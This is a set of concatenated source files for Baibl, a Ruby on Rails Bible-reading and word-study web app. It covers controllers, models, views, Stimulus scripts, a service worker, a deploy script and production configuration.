rescue ActiveSupport::MessageVerifier::InvalidSignature
redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
end
end# frozen_string_literal: true
class ScripturesController < ApplicationController
allow_unauthenticated_access only: %i[index book chapter search word_study]
def index
@books = Book.ordered
@daily_verse = Verse.order("RANDOM()").limit(1).first
end
def book
@book = Book.find_by!(abbreviation: params[:abbreviation])
@chapters = @book.chapters.order(:number)
end
def chapter
@book = Book.find_by!(abbreviation: params[:book_abbreviation])
@chapter = @book.chapters.find_by!(number: params[:number])
@verses = @chapter.verses.order(:number).includes(:highlights, :bookmarks)
end
def search
@pagy, @verses = pagy(Verse.full_text_search(params[:q]).includes(:book, :chapter), items: 20)
render :search
end
def word_study
verse = Verse.includes(:word_studies, cross_references: :target_verse).find(params[:verse_id])
position = params[:position].to_i
@study = verse.word_studies.find_by(position:)
@xrefs = verse.cross_references.includes(target_verse: %i[book chapter])
@verse = verse
render partial: "word_study", locals: { study: @study, xrefs: @xrefs, verse: @verse }
end
end# frozen_string_literal: true
class SessionsController < ApplicationController
allow_unauthenticated_access only: %i[ new create ]
rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }
def new
end
def create
if user = User.authenticate_by(params.permit(:email_address, :password))
start_new_session_for user
redirect_to after_authentication_url
else
redirect_to new_session_path, alert: "Try another email address or password."
end
end
def destroy
terminate_session
redirect_to new_session_path, status: :see_other
end
end// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails
import "@hotwired/turbo-rails"
import "controllers"
if ("serviceWorker" in navigator) navigator.serviceWorker.register("/service-worker")
// Nav swipe-to-reveal
document.addEventListener("turbo:load", () => {
const nav = document.querySelector("nav");
if (!nav) return;
let y0 = 0;
document.addEventListener("touchstart", e => { y0 = e.touches[0].clientY; }, { passive: true });
document.addEventListener("touchend", e => {
const dy = e.changedTouches[0].clientY - y0;
if (dy > 40) nav.classList.add("nav-visible");
else if (dy < -40) nav.classList.remove("nav-visible");
}, { passive: true });
});import AnimatedNumber from "@stimulus-components/animated-number"
export default class extends AnimatedNumber {}import { Application } from "@hotwired/stimulus"
const application = Application.start()
// Configure Stimulus development experience
application.debug = false
window.Stimulus = application
export { application }import { Controller } from "@hotwired/stimulus"
import StimulusReflex from "stimulus_reflex"
export default class extends Controller {
connect() {
StimulusReflex.register(this)
}
}import AutoSubmit from "@stimulus-components/auto-submit"
export default class extends AutoSubmit {}import CharacterCounter from "@stimulus-components/character-counter"
export default class extends CharacterCounter {}import Clipboard from "@stimulus-components/clipboard"
export default class extends Clipboard {}import Dialog from "@stimulus-components/dialog"
export default class extends Dialog {}import Dropdown from "@stimulus-components/dropdown"
export default class extends Dropdown {}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
connect() {
this.element.textContent = "Hello World!"
}
}import { application } from "controllers/application"
import { eagerLoadControllersFrom } from "@hotwired/stimulus-loading"
import StimulusReflex from "stimulus_reflex"
import ApplicationController from "controllers/application_controller"
eagerLoadControllersFrom("controllers", application)
StimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })import Notification from "@stimulus-components/notification"
export default class extends Notification {}import Sortable from "@stimulus-components/sortable"
export default class extends Sortable {}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
connect() {
this.resize()
this.element.addEventListener("input", this.resize)
}
disconnect() {
this.element.removeEventListener("input", this.resize)
}
resize = () => {
this.element.style.height = "auto"
this.element.style.height = `${this.element.scrollHeight}px`
}
}import TimeAgo from "@stimulus-components/timeago"
export default class extends TimeAgo {}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
static values = { verseId: Number, position: Number, url: String }
toggle(e) {
e.stopPropagation()
const popover = document.getElementById("word-popover")
const active = document.querySelector(".word.active")
if (active === this.element) {
this.close(popover)
return
}
if (active) active.classList.remove("active")
this.element.classList.add("active")
this.load(popover)
this.position(popover)
}
async load(popover) {
popover.removeAttribute("hidden")
popover.innerHTML = "<span class='ws-loading'>…</span>"
const r = await fetch(this.urlValue, { headers: { Accept: "text/html" } })
popover.innerHTML = await r.text()
}
position(popover) {
const rect = this.element.getBoundingClientRect()
const top = rect.bottom + window.scrollY + 6
const left = Math.min(rect.left + window.scrollX, window.innerWidth - 320)
popover.style.top = `${top}px`
popover.style.left = `${Math.max(8, left)}px`
}
close(popover) {
this.element.classList.remove("active")
popover.setAttribute("hidden", "")
popover.innerHTML = ""
}
disconnect() {
const popover = document.getElementById("word-popover")
if (popover) { popover.setAttribute("hidden", ""); popover.innerHTML = "" }
}
}# frozen_string_literal: true
class AnalysisJob < ApplicationJob
queue_as :analysis
def perform(verse_id)
verse = Verse.find(verse_id)
Shared::EventEmitter.call("baibl.analysis.started", verse_id: verse.id) if defined?(Shared::EventEmitter)
# Hook AI linguistic/context analysis here. Keep output deterministic and reviewable:
# verse -> analysis request -> Analysis upsert -> Turbo Stream update.
Shared::EventEmitter.call("baibl.analysis.completed", verse_id: verse.id) if defined?(Shared::EventEmitter)
rescue StandardError => e
Shared::EventEmitter.call("baibl.analysis.failed", verse_id:, error: e.message) if defined?(Shared::EventEmitter)
raise
end
end# frozen_string_literal: true
class Annotation < ApplicationRecord
enum :visibility, { private_note: 0, group_note: 1, public_note: 2 }, default: :private_note
belongs_to :verse
belongs_to :user, optional: true
validates :body, presence: true
scope :recent, -> { order(created_at: :desc) }
scope :publicly_visible, -> { where(visibility: :public_note) }
after_create_commit { broadcast_prepend_later_to "baibl:annotations" }
after_update_commit { broadcast_replace_later_to "baibl:annotations" }
end# frozen_string_literal: true
class Book < ApplicationRecord
has_many :chapters, dependent: :destroy
has_many :verses, dependent: :destroy
TESTAMENTS = %w[Old New].freeze
validates :name, :abbreviation, :testament, presence: true
validates :testament, inclusion: { in: TESTAMENTS }
validates :abbreviation, uniqueness: true
scope :old_testament, -> { where(testament: "Old").order(:order_index) }
scope :new_testament, -> { where(testament: "New").order(:order_index) }
scope :ordered, -> { order(:order_index) }
end# frozen_string_literal: true
class Bookmark < ApplicationRecord
belongs_to :verse
belongs_to :user
validates :verse_id, uniqueness: { scope: :user_id }
after_create_commit -> { broadcast_append_to [user, "bookmarks"] }
end# frozen_string_literal: true
class Chapter < ApplicationRecord
belongs_to :book
has_many :verses, dependent: :destroy
validates :number, presence: true
validates :number, uniqueness: { scope: :book_id }
scope :ordered, -> { order(:number) }
def reference = "#{book.name} #{number}"
end# frozen_string_literal: true
class CrossReference < ApplicationRecord
belongs_to :verse
belongs_to :target_verse, class_name: "Verse"
KINDS = %w[lexical thematic parallel typological fulfillment].freeze
validates :kind, inclusion: { in: KINDS }, allow_nil: true
validates :verse_id, uniqueness: { scope: :target_verse_id }
end# frozen_string_literal: true
class Current < ActiveSupport::CurrentAttributes
attribute :session
delegate :user, to: :session, allow_nil: true
end# frozen_string_literal: true
class Highlight < ApplicationRecord
belongs_to :verse
belongs_to :user
COLORS = %w[yellow green blue pink orange].freeze
validates :color, inclusion: { in: COLORS }
validates :verse_id, uniqueness: { scope: :user_id }
after_create_commit -> { broadcast_replace_to [user, "highlights"] }
end# frozen_string_literal: true
class ReadingPlan < ApplicationRecord
belongs_to :user, optional: true
has_many :reading_plan_days, dependent: :destroy
validates :name, presence: true
validates :duration_days, numericality: { greater_than: 0 }, allow_nil: true
def progress
return 0.0 if reading_plan_days.empty?
reading_plan_days.where.not(completed_at: nil).count.to_f / reading_plan_days.count
end
end# frozen_string_literal: true
class ReadingPlanDay < ApplicationRecord
belongs_to :reading_plan
belongs_to :book
validates :day_number, presence: true
validates :day_number, uniqueness: { scope: :reading_plan_id }
scope :ordered, -> { order(:day_number) }
def completed? = completed_at.present?
end# frozen_string_literal: true
class Session < ApplicationRecord
belongs_to :user
end# frozen_string_literal: true
class User < ApplicationRecord
has_secure_password
has_many :sessions, dependent: :destroy
has_many :highlights, dependent: :destroy
has_many :bookmarks, dependent: :destroy
has_many :reading_plans, dependent: :destroy
normalizes :email_address, with: ->(e) { e.strip.downcase }
end# frozen_string_literal: true
class Verse < ApplicationRecord
belongs_to :chapter
belongs_to :book
has_many :highlights, dependent: :destroy
has_many :bookmarks, dependent: :destroy
has_many :word_studies, dependent: :destroy
has_many :cross_references, dependent: :destroy
has_many :target_verses, through: :cross_references
validates :number, :content, presence: true
validates :number, uniqueness: { scope: :chapter_id }
scope :in_chapter, ->(chapter) { where(chapter: chapter).order(:number) }
scope :full_text_search, ->(q) {
ids = connection.select_values(sanitize_sql_array(["SELECT rowid FROM verses_fts WHERE verses_fts MATCH ?", q]))
ids.any? ? where(id: ids) : none
}
def reference
"#{book.name} #{chapter.number}:#{number}"
end
end# frozen_string_literal: true
class WordStudy < ApplicationRecord
belongs_to :verse
LANGUAGES = %w[hebrew greek arabic].freeze
validates :position, :word, presence: true
validates :position, uniqueness: { scope: :verse_id }
validates :language, inclusion: { in: LANGUAGES }, allow_nil: true
def strongs_url
return nil unless strongs.present?
prefix = strongs.start_with?("H") ? "hebrew" : "greek"
"https://www.blueletterbible.org/lexicon/#{strongs.downcase}/#{prefix}/wlc/0-1/"
end
end# frozen_string_literal: true
class ApplicationReflex < StimulusReflex::Reflex
end# frozen_string_literal: true
class ScriptureSearch
COLUMNS = %w[text reference book_name].freeze
def self.call(query:, scope: Verse.all)
new(query:, scope:).call
end
def initialize(query:, scope:)
@query = query.to_s.strip
@scope = scope
end
def call
return scope.order(:book_index, :chapter, :number) if query.empty?
if defined?(Shared::LiveSearch)
Shared::LiveSearch.call(scope, query:, columns: COLUMNS).order(:book_index, :chapter, :number)
else
like = "%#{ActiveRecord::Base.sanitize_sql_like(query)}%"
scope.where("text LIKE :q OR reference LIKE :q OR book_name LIKE :q", q: like).order(:book_index, :chapter, :number)
end
end
private
attr_reader :query, :scope
end<% content_for :title, "Bookmarks" %>
<h1>Bookmarks</h1>
<% if @bookmarks.any? %>
<% @bookmarks.each do |bookmark| %>
<article id="<%= dom_id(bookmark) %>">
<p><%= link_to "#{bookmark.verse.book.abbreviation} #{bookmark.verse.chapter.number}:#{bookmark.verse.number}", scripture_chapter_path(bookmark.verse.book.abbreviation, bookmark.verse.chapter.number) %></p>
<p><%= bookmark.verse.content %></p>
<% if bookmark.note.present? %><p><%= bookmark.note %></p><% end %>
<%= button_to "Remove", bookmark, method: :delete %>
</article>
<% end %>
<%= @pagy.series_nav if @pagy.pages > 1 %>
<% else %>
<p>No bookmarks yet. Bookmark verses while reading.</p>
<% end %><%= turbo_stream.replace "highlight_#{@highlight.verse_id}", partial: "highlights/toggle", locals: { verse: @highlight.verse, highlight: @highlight } %><%= turbo_stream.replace "highlight_#{@highlight.verse_id}", partial: "highlights/toggle", locals: { verse: @highlight.verse, highlight: nil } %><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="theme-color" content="#1a1a1a">
<meta name="turbo-cache-control" content="no-preview">
<title><%= content_for?(:title) ? "#{yield :title} — Baibl" : "Baibl" %></title>
<meta name="description" content="<%= content_for?(:description) ? yield(:description) : "Baibl — explore and study the Bible. Search passages, read commentaries, and deepen your understanding." %>">
<link rel="canonical" href="<%= request.original_url.split("?").first %>">
<meta property="og:site_name" content="Baibl">
<meta property="og:title" content="<%= content_for?(:title) ? yield(:title) : "Baibl" %>">
<meta property="og:description" content="<%= content_for?(:description) ? yield(:description) : "Explore and study the Bible. Search passages, read commentaries, and deepen your understanding." %>">
<meta property="og:url" content="<%= request.original_url %>">
<meta property="og:type" content="website">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="<%= content_for?(:title) ? yield(:title) : "Baibl" %>">
<meta name="twitter:description" content="<%= content_for?(:description) ? yield(:description) : "Explore and study the Bible. Search passages, read commentaries, and deepen your understanding." %>">
<%= csrf_meta_tags %>
<%= csp_meta_tag %>
<link rel="icon" href="/icon.png" type="image/png">
<link rel="apple-touch-icon" href="/icon.png">
<%= tag.link rel: "manifest", href: pwa_manifest_path(format: :json) %>
<%= stylesheet_link_tag :app, "data-turbo-track": "reload" %>
<link rel="stylesheet" href="/styles/minimal-ui.css">
<%= yield :json_ld %>
<%= javascript_importmap_tags %>
<script type="module" src="/minimal-gesture.js"></script>
</head>
<body class="zen-minimal">
<nav>
<%= link_to "Baibl", root_path, class: "brand" %>
<%= link_to "Scripture", scripture_index_path %>
<%= link_to "Search", scripture_search_path %>
<%= link_to "Word study", scripture_word_study_path %>
<% if authenticated? %>
<%= link_to "Bookmarks", bookmarks_path %>
<%= link_to "Sign out", session_path, data: { turbo_method: :delete } %>
<% else %>
<%= link_to "Sign in", new_session_path %>
<% end %>
</nav>
<%= tag.p(notice, role: "status", class: "flash-notice") if notice %>
<%= tag.p(alert, role: "alert", class: "flash-alert") if alert %>
<main><%= yield %></main>
</body>
</html><!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
/* Email styles need to be inline */
</style>
</head>
<body>
<%= yield %>
</body>
</html><%= yield %><h1>Update your password</h1>
<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>
<%= form_with url: password_path(params[:token]), method: :put do |form| %>
<p><%= form.password_field :password, required: true, autocomplete: "new-password", placeholder: "Enter new password", maxlength: 72 %></p>
<p><%= form.password_field :password_confirmation, required: true, autocomplete: "new-password", placeholder: "Repeat new password", maxlength: 72 %></p>
<p><%= form.submit "Save" %></p>
<% end %><h1>Forgot your password?</h1>
<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>
<%= form_with url: passwords_path do |form| %>
<p><%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %></p>
<p><%= form.submit "Email reset instructions" %></p>
<% end %>{
"name": "Baibl",
"short_name": "Baibl",
"icons": [
{
"src": "/icon-192.png",
"type": "image/png",
"sizes": "192x192"
},
{
"src": "/icon.png",
"type": "image/png",
"sizes": "512x512"
},
{
"src": "/icon.png",
"type": "image/png",
"sizes": "512x512",
"purpose": "maskable"
}
],
"start_url": "/",
"display": "standalone",
"scope": "/",
"description": "Dead Sea Scrolls, Old and New Testament, and the Arabic Quran — sacred texts in one place.",
"theme_color": "#1a1a1a",
"background_color": "#1a1a1a"
}const CACHE = "baibl-v2"
const OFFLINE = "/offline"
self.addEventListener("install", e => {
e.waitUntil(caches.open(CACHE).then(c => c.addAll(["/", OFFLINE])))
self.skipWaiting()
})
self.addEventListener("activate", e => {
e.waitUntil(caches.keys().then(keys =>
Promise.all(keys.filter(k => k !== CACHE).map(k => caches.delete(k)))
))
self.clients.claim()
})
self.addEventListener("fetch", e => {
if (e.request.method !== "GET") return
const url = new URL(e.request.url)
const isNav = e.request.mode === "navigate"
const isAsset = /\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)
if (isAsset) {
e.respondWith(caches.match(e.request).then(cached => cached || fetch(e.request).then(res => {
const clone = res.clone()
caches.open(CACHE).then(c => c.put(e.request, clone))
return res
})))
} else if (isNav) {
e.respondWith(fetch(e.request).catch(() => caches.match(OFFLINE)))
}
})<div class="ws-header">
<span class="ws-ref"><%= verse.reference %></span>
<% if study %>
<span class="ws-word"><%= study.word %></span>
<% if study.original.present? %>
<span class="ws-original" lang="<%= study.language %>"><%= study.original %></span>
<% if study.transliteration.present? %>
<em class="ws-translit"><%= study.transliteration %></em>
<% end %>
<% end %>
<% if study.strongs.present? %>
<a class="ws-strongs" href="<%= study.strongs_url %>" target="_blank" rel="noopener"><%= study.strongs %></a>
<% end %>
<% else %>
<span class="ws-empty">No word study yet</span>
<% end %>
</div>
<% if study&.definition.present? %>
<p class="ws-definition"><%= study.definition %></p>
<% end %>
<% if xrefs.any? %>
<div class="ws-xrefs">
<h4>Cross-references</h4>
<ul>
<% xrefs.each do |xr| %>
<li>
<% tv = xr.target_verse %>
<%= link_to tv.reference, scripture_chapter_path(tv.book.abbreviation, tv.chapter.number) + "#v#{tv.number}" %>
<% if xr.kind.present? %><span class="xr-kind"><%= xr.kind %></span><% end %>
<blockquote><%= truncate(tv.content, length: 120) %></blockquote>
</li>
<% end %>
</ul>
</div>
<% end %><% content_for :title, @book.name %>
<h1><%= @book.name %></h1>
<nav>
<% @chapters.each do |chapter| %>
<%= link_to chapter.number, scripture_chapter_path(@book.abbreviation, chapter.number) %>
<% end %>
</nav><% content_for :title, "#{@book.name} #{@chapter.number}" %>
<header>
<h1><%= @book.name %> <%= @chapter.number %></h1>
<nav>
<% if @prev_chapter %>
<%= link_to "← #{@book.abbreviation} #{@prev_chapter}", scripture_chapter_path(@book.abbreviation, @prev_chapter) %>
<% end %>
<%= link_to @book.name, scripture_book_path(@book.abbreviation) %>
<% if @next_chapter %>
<%= link_to "#{@book.abbreviation} #{@next_chapter} →", scripture_chapter_path(@book.abbreviation, @next_chapter) %>
<% end %>
</nav>
</header>
<div id="word-popover" class="word-popover" hidden></div>
<section class="chapter-text">
<% @verses.each do |verse| %>
<span id="v<%= verse.number %>" class="verse">
<sup class="verse-num"><%= verse.number %></sup>
<% verse.content.split(/\s+/).each_with_index do |token, pos| %>
<span class="word"
data-controller="word-study"
data-action="click->word-study#toggle"
data-word-study-verse-id-value="<%= verse.id %>"
data-word-study-position-value="<%= pos %>"
data-word-study-url-value="<%= scripture_word_study_path(verse_id: verse.id, position: pos) %>"><%= token %></span>
<% end %>
<% if authenticated? %>
<% highlight = @highlights&.[](verse.id) %>
<% bookmark = @bookmarks&.[](verse.id) %>
<%= button_to highlight ? "★" : "☆", highlights_path(verse_id: verse.id), method: highlight ? :delete : :post, params: highlight ? { id: highlight.id } : {}, class: ("active" if highlight), data: { turbo_stream: true } %>
<%= button_to bookmark ? "🔖" : "📌", bookmark ? bookmark_path(bookmark) : bookmarks_path(verse_id: verse.id), method: bookmark ? :delete : :post, class: ("active" if bookmark), data: { turbo_stream: true } %>
<% end %>
</span>
<% end %>
</section><% content_for :title, "Scripture" %>
<nav>
<% @books.each do |book| %>
<%= link_to book.abbreviation, scripture_book_path(book.abbreviation), title: book.name %>
<% end %>
</nav>
<% if @books.any? %>
<p>Select a book to begin reading.</p>
<% end %><% content_for :title, "Search" %>
<%= form_with url: scripture_search_path, method: :get do |f| %>
<%= f.search_field :q, value: @query, placeholder: "Search scripture…", autofocus: true %>
<%= f.submit "Search" %>
<% end %>
<% if @results %>
<p><%= @results.size %> results for "<%= @query %>"</p>
<% @results.each do |verse| %>
<article>
<p><%= verse.book.abbreviation %> <%= verse.chapter.number %>:<%= verse.number %></p>
<p><%= verse.content %></p>
</article>
<% end %>
<% end %><% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>
<% if flash[:notice] %><p role="status"><%= flash[:notice] %></p><% end %>
<%= form_with url: session_path do |form| %>
<p><%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %></p>
<p><%= form.password_field :password, required: true, autocomplete: "current-password", placeholder: "Enter your password", maxlength: 72 %></p>
<p><%= form.submit "Sign in" %></p>
<% end %>
<p><%= link_to "Forgot password?", new_password_path %></p>#!/usr/bin/env zsh
# baibl.sh — deploys the tracked Baibl Rails tree at app/.
set -euo pipefail
APP_NAME=baibl
APP_DIR=/home/${APP_NAME}/app
APP_PORT=10007
APP_DOMAIN=baibl.no
SCRIPT_DIR=${0:a:h}
SRC_DIR=${SCRIPT_DIR}
SHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}
. "${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh"
need_cmd ruby34 bundle doas
[[ -d $SRC_DIR ]] || { log_err "missing source tree: $SRC_DIR"; exit 1; }
log "${APP_NAME} — deploying tracked tree → ${APP_DIR}"
id "$APP_NAME" >/dev/null 2>&1 || doas useradd -m -L daemon -s /bin/ksh "$APP_NAME"
doas mkdir -p "$APP_DIR"
# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)
doas cp -R "${SCRIPT_DIR:h}/shared/bin/." "${APP_DIR}/bin/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/public/." "${APP_DIR}/public/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/config/." "${APP_DIR}/config/" 2>/dev/null || true
doas cp -R "${SCRIPT_DIR:h}/shared/app/." "${APP_DIR}/app/" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/Rakefile" "${APP_DIR}/Rakefile" 2>/dev/null || true
doas cp "${SCRIPT_DIR:h}/shared/config.ru" "${APP_DIR}/config.ru" 2>/dev/null || true
# Per-app tracked tree last (specialized instances + custom overrides win)
doas cp -R "${SRC_DIR}/." "${APP_DIR}/"
doas chown -R "${APP_NAME}:${APP_NAME}" "$APP_DIR"
cd "$APP_DIR"
typeset bundle_home="/home/${APP_NAME}/.bundle"
doas mkdir -p "$bundle_home"
if [[ ! -d ${bundle_home}/gems ]]; then
if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then
log "Bootstrapping gems from ${SHARED_BUNDLE_CACHE}"
doas cp -R "${SHARED_BUNDLE_CACHE}/gems" "$bundle_home/"
[[ -d ${SHARED_BUNDLE_CACHE}/cache ]] && doas cp -R "${SHARED_BUNDLE_CACHE}/cache" "$bundle_home/" || true
else
log_warn "No shared bundle cache found; bundle install will resolve gems normally"
fi
doas chown -R "${APP_NAME}:${APP_NAME}" "$bundle_home"
fi
doas mkdir -p "${APP_DIR}/.bundle"
print -- "---\nBUNDLE_PATH: \"${bundle_home}/gems\"" | doas tee "${APP_DIR}/.bundle/config" >/dev/null
doas chown -R "${APP_NAME}:${APP_NAME}" "${APP_DIR}/.bundle"
doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && bundle config set --local deployment true && bundle config set --local without 'development test' && RAILS_ENV=production bundle install"
doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:create db:migrate"
[[ -f ${APP_DIR}/db/seeds.rb ]] && doas -u "$APP_NAME" sh -c "cd ${APP_DIR} && RAILS_ENV=production bin/rails db:seed" || true
install_rcd "$APP_NAME" "$APP_DIR" "$APP_PORT" "$APP_NAME"
[[ -n $APP_DOMAIN ]] && relayd_add_relay "$APP_DOMAIN" "$APP_PORT"
doas rcctl restart "$APP_NAME" || doas rcctl start "$APP_NAME"
log_ok "$APP_NAME live on :$APP_PORT"# frozen_string_literal: true
require_relative "boot"
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
# require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module App
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 8.1
# Please, add to the `ignore` list any other `lib` subdirectories that do
# not contain `.rb` files, or that should not be reloaded or eager loaded.
# Common ones are `templates`, `generators`, or `middleware`, for example.
config.autoload_lib(ignore: %w[assets tasks])
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Don't generate system test files.
config.generators.system_tests = nil
end
enddevelopment:
adapter: async
test:
adapter: test
production:
adapter: redis
url: <%= ENV.fetch("REDIS_URL") { "redis://localhost:6379/1" } %>
channel_prefix: app_production# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
max_connections: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
# Store production database in the storage/ directory, which by default
# is mounted as a persistent Docker volume in config/deploy.yml.
production:
primary:
<<: *default
database: storage/production.sqlite3
cache:
<<: *default
database: storage/production_cache.sqlite3
migrations_paths: db/cache_migrate
queue:
<<: *default
database: storage/production_queue.sqlite3
migrations_paths: db/queue_migrate
cable:
<<: *default
database: storage/production_cable.sqlite3
migrations_paths: db/cable_migrate# Name of your application. Used to uniquely configure containers.
service: app
# Name of the container image (use your-user/app-name on external registries).
image: app
# Deploy to these servers.
servers:
web:
- 192.168.0.1
# job:
# hosts:
# - 192.168.0.1
# cmd: bin/jobs
# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.
# If used with Cloudflare, set encryption mode in SSL/TLS setting to "Full" to enable CF-to-app encryption.
#
# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.
#
# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).
#
# proxy:
# ssl: true
# host: baibl.no
# Where you keep your container images.
registry:
# Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...
server: localhost:5555
# Needed for authenticated registries.
# username: your-user
# Always use an access token rather than real password when possible.
# password:
# - KAMAL_REGISTRY_PASSWORD
# Inject ENV variables into containers (secrets come from .kamal/secrets).
env:
secret:
- RAILS_MASTER_KEY
clear:
# Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.
# When you start using multiple servers, you should split out job processing to a dedicated machine.
SOLID_QUEUE_IN_PUMA: true
# Set number of processes dedicated to Solid Queue (default: 1)
# JOB_CONCURRENCY: 3
# Set number of cores available to the application on each server (default: 1).
# WEB_CONCURRENCY: 2
# Match this to any external database server to configure Active Record correctly
# Use app-db for a db accessory server on same machine via local kamal docker network.
# DB_HOST: 192.168.0.2
# Log everything from Rails
# RAILS_LOG_LEVEL: debug
# Aliases are triggered with "bin/kamal <alias>". You can overwrite arguments on invocation:
# "bin/kamal logs -r job" will tail logs from the first server in the job section.
aliases:
console: app exec --interactive --reuse "bin/rails console"
shell: app exec --interactive --reuse "bash"
logs: app logs -f
dbc: app exec --interactive --reuse "bin/rails dbconsole --include-password"
# Use a persistent storage volume for sqlite database files and local Active Storage files.
# Recommended to change this to a mounted volume path that is backed up off server.
volumes:
- "app_storage:/rails/storage"
# Bridge fingerprinted assets, like JS and CSS, between versions to avoid
# hitting 404 on in-flight requests. Combines all files from new and old
# version inside the asset_path.
asset_path: /rails/public/assets
# Configure the image builder.
builder:
arch: amd64
# # Build image via remote server (useful for faster amd64 builds on arm64 computers)
# remote: ssh://docker@docker-builder-server
#
# # Pass arguments and secrets to the Docker build process
# args:
# RUBY_VERSION: ruby-3.4.9
# secrets:
# - GITHUB_TOKEN
# - RAILS_MASTER_KEY
# Use a different ssh user than root
# ssh:
# user: app
# Use accessory services (secrets come from .kamal/secrets).
# accessories:
# db:
# image: mysql:8.0
# host: 192.168.0.2
# # Change to 3306 to expose port to the world instead of just local network.
# port: "127.0.0.1:3306:3306"
# env:
# clear:
# MYSQL_ROOT_HOST: '%'
# secret:
# - MYSQL_ROOT_PASSWORD
# files:
# - config/mysql/production.cnf:/etc/mysql/my.cnf
# - db/production.sql:/docker-entrypoint-initdb.d/setup.sql
# directories:
# - data:/var/lib/mysql
# redis:
# image: valkey/valkey:8
# host: 192.168.0.2
# port: 6379
# directories:
# - data:/data# frozen_string_literal: true
require "active_support/core_ext/integer/time"
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.enable_reloading = false
# Eager load code on boot for better performance and memory savings (ignored by Rake tasks).
config.eager_load = true
# Full error reports are disabled.
config.consider_all_requests_local = false
# Turn on fragment caching in view templates.
config.action_controller.perform_caching = true
# Cache assets for far-future expiry since they are all digest stamped.
config.public_file_server.headers = { "cache-control" => "public, max-age=#{1.year.to_i}" }
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.asset_host = "http://assets.example.com"
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Assume all access to the app is happening through a SSL-terminating reverse proxy.
config.assume_ssl = true
# TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.
# config.force_ssl = true
# Skip http-to-https redirect for the default health check endpoint.
# config.ssl_options = { redirect: { exclude: ->(request) { request.path == "/up" } } }
# Log to STDOUT with the current request id as a default log tag.
config.log_tags = [ :request_id ]
config.logger = ActiveSupport::TaggedLogging.logger(STDOUT)
# Change to "debug" to log everything (including potentially personally-identifiable information!).
config.log_level = ENV.fetch("RAILS_LOG_LEVEL", "info")
# Prevent health checks from clogging up the logs.
config.silence_healthcheck_path = "/up"
# Don't log any deprecations.
config.active_support.report_deprecations = false
# Replace the default in-process memory cache store with a durable alternative.
config.cache_store = :solid_cache_store
# Replace the default in-process and non-durable queuing backend for Active Job.
config.active_job.queue_adapter = :solid_queue
config.solid_queue.connects_to = { database: { writing: :queue } }
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Set host to be used by links generated in mailer templates.
config.action_mailer.default_url_options = { host: "baibl.no", protocol: "https" }
# Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.
# config.action_mailer.smtp_settings = {
# user_name: Rails.application.credentials.dig(:smtp, :user_name),
# password: Rails.application.credentials.dig(:smtp, :password),
# address: "smtp.example.com",
# port: 587,
# authentication: :plain
# }
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
# Only use :id for inspections in production.
config.active_record.attributes_for_inspect = [ :id ]
config.hosts = ["baibl.no", "www.baibl.no"]
